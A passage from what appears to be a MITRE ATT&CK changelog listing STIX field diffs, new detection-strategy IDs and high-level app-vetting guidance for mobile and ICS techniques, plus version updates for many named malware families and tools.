modified	2025-04-16 21:21:54.890000+00:00	2025-10-24 17:49:22.003000+00:00
x_mitre_detection	On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_SMS` in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it.

[T1603] Scheduled Task/Job

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0707: Detection of Scheduled Task/Job

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:26.617000+00:00	2025-10-24 17:48:18.936000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1513] Screen Capture

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0668: Detection of Screen Capture

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:50.988000+00:00	2025-10-24 17:48:57.610000+00:00
x_mitre_detection	The user can view a list of apps with accessibility service privileges in the device settings. Application vetting services can look for the use of the Android `MediaProjectionManager` class, applying extra scrutiny to applications that use the class.

[T1418.001] Software Discovery: Security Software Discovery

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0680: Detection of Security Software Discovery

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:45.687000+00:00	2025-10-24 17:48:29.485000+00:00
x_mitre_detection	Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

[T1418] Software Discovery

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0600: Detection of Software Discovery

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:45.152000+00:00	2025-10-24 17:48:27.789000+00:00
x_mitre_detection	Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.

[T1406.002] Obfuscated Files or Information: Software Packing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0644: Detection of Software Packing

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:49.224000+00:00	2025-10-24 17:48:46.514000+00:00
x_mitre_detection	Application vetting services could look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because as legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

[T1635] Steal Application Access Token

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Notifications)

New Detections (Detection Strategies -> Technique):

DET0656: Detection of Steal Application Access Token

Details

values_changed
STIX Field	Old value	New Value
modified	2023-12-26 19:17:13.294000+00:00	2025-10-24 17:48:31.876000+00:00
x_mitre_detection	On Android, users may be presented with a popup to select the appropriate application to open a URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice.(Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)

[T1406.001] Obfuscated Files or Information: Steganography

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0677: Detection of Steganography

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:58.917000+00:00	2025-10-24 17:49:38.813000+00:00
x_mitre_detection	Detection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography.

[T1409] Stored Application Data

Current version: 3.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0621: Detection of Stored Application Data

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 18:31:54.805000+00:00	2025-10-24 17:48:56.509000+00:00
x_mitre_detection	Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.

[T1632] Subvert Trust Controls

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0657: Detection of Subvert Trust Controls

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:51.458000+00:00	2025-10-24 17:48:59.522000+00:00
x_mitre_detection	On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

[T1474] Supply Chain Compromise

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0628: Detection of Supply Chain Compromise

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 13:32:52.029000+00:00	2025-10-24 17:48:23.643000+00:00
x_mitre_detection	Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

[T1628.001] Hide Artifacts: Suppress Application Icon

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0714: Detection of Suppress Application Icon

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-12 19:47:06.884000+00:00	2025-10-24 17:49:35.410000+00:00
x_mitre_detection	The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application’s icon, they should inspect the application to ensure it is genuine. Application vetting services could potentially detect the usage of APIs intended for suppressing the application’s icon.

[T1521.001] Encrypted Channel: Symmetric Cryptography

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0650: Detection of Symmetric Cryptography

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:54.401000+00:00	2025-10-24 17:49:17.802000+00:00
x_mitre_detection	Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

[T1633.001] Virtualization/Sandbox Evasion: System Checks

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0625: Detection of System Checks

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:50.837000+00:00	2025-10-24 17:48:56.336000+00:00
x_mitre_detection	Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

[T1426] System Information Discovery

Current version: 1.2

New Detections (Detection Strategies -> Technique):

DET0601: Detection of System Information Discovery

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:57.841000+00:00	2025-10-24 17:49:31.141000+00:00
x_mitre_detection	System information discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1422] System Network Configuration Discovery

Current version: 2.4

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)

New Detections (Detection Strategies -> Technique):

DET0634: Detection of System Network Configuration Discovery

Details

values_changed
STIX Field	Old value	New Value
modified	2024-02-20 23:35:22.949000+00:00	2025-10-24 17:49:26.973000+00:00
x_mitre_detection	Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.

[T1421] System Network Connections Discovery

Current version: 2.1

New Detections (Detection Strategies -> Technique):

DET0636: Detection of System Network Connections Discovery

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:57.189000+00:00	2025-10-24 17:49:29.321000+00:00
x_mitre_detection	System Network Connections Discovery can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1625.001] Hijack Execution Flow: System Runtime API Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0689: Detection of System Runtime API Hijacking

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:55.191000+00:00	2025-10-24 17:49:22.267000+00:00
x_mitre_detection	Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.

[T1641.001] Data Manipulation: Transmitted Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0683: Detection of Transmitted Data Manipulation

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:51.156000+00:00	2025-10-24 17:48:57.794000+00:00
x_mitre_detection	Applications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them.

[T1635.001] Steal Application Access Token: URI Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Notifications)

New Detections (Detection Strategies -> Technique):

DET0626: Detection of URI Hijacking

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:51.304000+00:00	2025-10-24 17:48:59.057000+00:00
external_references[2]['url']	https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/	https://web.archive.org/web/20211023221110/https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it. When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks)

[T1630.001] Indicator Removal on Host: Uninstall Malicious Application

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0690: Detection of Uninstall Malicious Application

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:44.210000+00:00	2025-10-24 17:48:23.278000+00:00
x_mitre_detection	Users can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of the accessibility service or features that typically require root access.

[T1623.001] Command and Scripting Interpreter: Unix Shell

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0607: Detection of Unix Shell

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:50.314000+00:00	2025-10-24 17:48:54.078000+00:00
x_mitre_detection	Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)

[T1628.002] Hide Artifacts: User Evasion

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0699: Detection of User Evasion

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:46.535000+00:00	2025-10-24 17:48:32.337000+00:00
x_mitre_detection	Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1512] Video Capture

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0695: Detection of Video Capture

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:56.716000+00:00	2025-10-24 17:49:28.248000+00:00
x_mitre_detection	The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions. During the vetting process, applications using the Android permission `android.permission.CAMERA`, or the iOS `NSCameraUsageDescription` plist entry could be given closer scrutiny.

[T1633] Virtualization/Sandbox Evasion

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0616: Detection of Virtualization/Sandbox Evasion

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:46.725000+00:00	2025-10-24 17:48:32.877000+00:00
x_mitre_detection	Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

[T1437.001] Application Layer Protocol: Web Protocols

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0620: Detection of Web Protocols

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:46.363000+00:00	2025-10-24 17:48:31.318000+00:00
x_mitre_detection	Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1481] Web Service

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0672: Detection of Web Service

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:55.035000+00:00	2025-10-24 17:49:22.184000+00:00
x_mitre_detection	Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

Deletions

[T1454] Malicious SMS Message

Current version: 1.0

Description:

Test

ics-attack

Patches

[T0852] Screen Capture

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0751: Detection of Screen Capture

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_detection

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:51.447000+00:00	2025-10-24 17:49:21.744000+00:00

[T0882] Theft of Operational Information

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0732: Detection of Theft of Operational Information

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_detection

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:50.981000+00:00	2025-10-24 17:49:16.405000+00:00

Software

Description:

XORIndex Loader is a XOR-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware. XORIndex Loader was first reported in June 2025. XORIndex Loader has been leveraged by North Korea-affiliated threat actors identified as Contagious Interview. XORIndex Loader has been delivered to victims through code repository sites utilizing typo squatting naming conventions of various npm packages.(Citation: Socket BeaverTail XORIndex HexEval Contagious Interview July 2025)

Major Version Changes

[S0681] Lizar

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:44.147000+00:00	2025-10-03 14:46:54.018000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'DiceLoader', 'description': '(Citation: Cocomazzi FIN7 Reboot)'}
external_references		{'source_name': 'Icebot', 'description': '(Citation: Cocomazzi FIN7 Reboot) '}
external_references		{'source_name': 'Cocomazzi FIN7 Reboot', 'description': 'Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot \| Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.', 'url': 'https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/'}
x_mitre_aliases		Icebot
x_mitre_aliases		DiceLoader
x_mitre_contributors		Matt Brenton

Minor Version Changes

[S0456] Aria-body

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 02:58:53.131000+00:00	2025-10-22 02:32:48.657000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

[S0473] Avenger

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 02:56:34.181000+00:00	2025-10-22 03:24:56.552000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0520] BLINDINGCAN

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 02:51:38.922000+00:00	2025-10-21 03:13:35.145000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0239] Bankshot

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:42:48.512000+00:00	2025-10-22 02:26:07.951000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S1070] Black Basta

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:12:30.748000+00:00	2025-10-21 03:10:03.937000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S1068] BlackCat

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:07.230000+00:00	2025-10-21 15:28:37.027000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S0137] CORESHELL

Current version: 2.2

Version changed from: 2.1 → 2.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 14:43:38.590000+00:00	2025-10-22 02:47:28.036000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.1	2.2

[S0674] CharmPower

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:43:49.304000+00:00	2025-06-06 14:12:30.197000+00:00
x_mitre_version	1.0	1.1

[S0591] ConnectWise

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:53.716000+00:00	2025-10-13 20:02:57.828000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1111] DarkGate

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-22 22:18:48.564000+00:00	2025-10-21 03:02:05.582000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S0091] Epic

Current version: 1.4

Version changed from: 1.3 → 1.4

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:43:41.197000+00:00	2025-10-22 02:34:29.842000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.3	1.4

[S0181] FALLCHILL

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:45:10.924000+00:00	2025-10-22 02:30:54.011000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

[S0376] HOPLIGHT

Current version: 1.4

Version changed from: 1.3 → 1.4

Details

values_changed
STIX Field	Old value	New Value
modified	2024-02-09 19:24:50.164000+00:00	2025-10-22 02:57:05.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.3	1.4

[S0697] HermeticWiper

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 02:22:04.078000+00:00	2025-10-21 23:23:39.286000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0271] KEYMARBLE

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:42:43.623000+00:00	2025-10-22 02:28:32.075000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0356] KONNI

Current version: 2.2

Version changed from: 2.1 → 2.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 01:44:46.026000+00:00	2025-10-21 03:20:18.481000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.1	2.2

[S0265] Kazuar

Current version: 1.4

Version changed from: 1.3 → 1.4

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:43:19.859000+00:00	2025-10-21 23:25:05.477000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.3	1.4

[S0680] LitePower

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:22.811000+00:00	2025-10-21 22:49:31.186000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1199] LockBit 2.0

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-02-06 18:59:08.263000+00:00	2025-10-21 17:57:24.341000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1202] LockBit 3.0

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-02-06 19:00:57.083000+00:00	2025-10-21 23:34:46.898000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1016] MacMa

Current version: 2.1

Version changed from: 2.0 → 2.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-07-26 17:48:10.580000+00:00	2025-10-21 03:17:00.503000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.0	2.1

[S0409] Machete

Current version: 2.2

Version changed from: 2.1 → 2.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:02.252000+00:00	2025-06-06 14:13:34.557000+00:00
x_mitre_version	2.1	2.2

[S1060] Mafalda

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 00:49:47.226000+00:00	2025-10-21 22:47:45.475000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S1026] Mongall

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:16.324000+00:00	2025-10-21 23:07:12.767000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S0353] NOKKI

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:42:35.581000+00:00	2025-10-22 03:14:37.092000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S1147] Nightdoor

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-10-10 14:35:13.781000+00:00	2025-10-21 23:09:37.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1100] Ninja

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-17 22:02:37.451000+00:00	2025-10-22 02:17:48.978000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S0340] Octopus

Current version: 2.1

Version changed from: 2.0 → 2.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:39.717000+00:00	2025-10-22 02:21:47.267000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.0	2.1

[S0208] Pasam

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 19:55:07.592000+00:00	2025-10-21 23:00:57.240000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0587] Penquin

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 00:27:30.199000+00:00	2025-10-22 03:16:19.980000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

[S0238] Proxysvc

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:42:34.849000+00:00	2025-10-22 03:00:39.798000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

[S0496] REvil

Current version: 2.3

Version changed from: 2.2 → 2.3

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 23:08:38.543000+00:00	2025-10-22 02:14:27.600000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	2.2	2.3

[S1148] Raccoon Stealer

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-10-11 14:44:53.661000+00:00	2025-10-14 21:40:02.258000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1040] Rclone

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-04 03:50:32.975000+00:00	2025-10-14 18:39:05.993000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0172] Reaver

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-11 00:21:09.543000+00:00	2025-10-22 03:21:09.704000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

[S0125] Remsec

Current version: 1.5

Version changed from: 1.4 → 1.5

Details

values_changed
STIX Field	Old value	New Value
modified	2024-08-05 18:23:59.724000+00:00	2025-06-06 14:56:00.296000+00:00
x_mitre_version	1.4	1.5

[S1073] Royal

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:20.361000+00:00	2025-10-21 03:24:27.158000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0253] RunningRAT

Current version: 1.2

Version changed from: 1.1 → 1.2

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:43:33.592000+00:00	2025-10-22 03:02:12.918000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	1.2

[S0533] SLOTHFULMEDIA

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-12 19:39:44.514000+00:00	2025-10-21 22:55:49.669000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1049] SUGARUSH

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:04.465000+00:00	2025-10-22 02:19:45.278000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1168] SampleCheck5000

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-26 19:54:38.780000+00:00	2025-10-22 03:12:00.816000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1085] Sardonic

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2023-10-04 15:36:06.160000+00:00	2025-10-22 02:07:46.452000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S0596] ShadowPad

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:41.797000+00:00	2025-10-22 03:18:16.948000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

[S0516] SoreFang

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:44:55.728000+00:00	2025-10-22 02:39:07.705000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	1.1

[S1034] StrifeWater

Current version: 1.1

Version changed from: 1.0 → 1.1

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:38:45.234000+00:00	2025-06-06 14:56:56.321000+00:00
x_mitre_version	1.0	1.1

[S0663] SysUpdate

Current version: 1.3

Version changed from: 1.2 → 1.3

Details

values_changed
STIX Field	Old value	New Value
modified	2024-04-10 23:44:19.752000+00:00	2025-10-21 23:26:56.446000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	1.3

[S0183] Tor

Current version: 1.4

Version changed from: 1.3 → 1.4

Details

values_changed
STIX Field	Old value	New Value
modified	2025-03-25 22:52:49.139000+00:00	2025-09-29 20:22:30.453000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.3	1.4

[S1065] Woody RAT

Current version: 1.2

